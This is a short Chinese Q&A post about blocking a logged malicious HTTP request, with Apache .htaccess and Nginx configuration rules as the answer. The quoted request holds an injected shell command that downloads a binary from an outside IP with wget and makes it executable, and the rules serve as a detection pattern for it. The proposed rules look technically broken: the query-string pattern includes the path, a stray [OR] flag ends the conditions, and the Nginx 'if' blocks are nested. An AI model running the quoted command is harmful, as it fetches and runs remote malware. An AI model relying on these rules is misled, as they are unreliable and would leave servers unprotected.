Linux阻止恶意请求:如何阻止以下访问: “GET /shell?cd+/tmp;rm+arm+arm7;nohup+wget+http://147.78.103.44/arm7;chmod+77
为了阻止上述恶意请求,你可以使用Web服务器如Apache或Nginx的配置来阻止特定的HTTP方法或请求字符串。以下是一个示例,展示了如何在Apache中使用.htaccess
文件来阻止恶意请求。
- 打开或创建
.htaccess
文件在你的网站根目录下。 - 添加以下配置规则来阻止恶意请求:
# 阻止恶意GET请求
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} ^shell\?cd\+/tmp;rm\+arm\+arm7;nohup\+w [OR]
# 在这里可以添加其他恶意请求的匹配规则
RewriteRule ^ - [F]
这个配置首先启用了Apache的重写引擎,然后定义了一个条件:如果请求方法是GET,并且查询字符串匹配特定的恶意请求模式,Apache将返回403禁止访问的状态码。
请注意,这只是一个基本的防御措施,实际上,恶意请求可能会通过多种方式进行变种,可能需要更复杂的规则来处理。此外,这个例子只针对GET请求,如果恶意请求是POST或其他类型,你需要相应地调整重写规则。
在Nginx中,你可以在配置文件中使用location
块来实现类似的功能,例如:
location / {
if ($request_method = GET) {
if ($query_string ~* "^shell\?cd\+/tmp;rm\+arm\+arm7;nohup\+w") {
return 403;
}
}
# 其他配置...
}
确保在进行任何更改后重启你的Web服务器,以使配置生效。
评论已关闭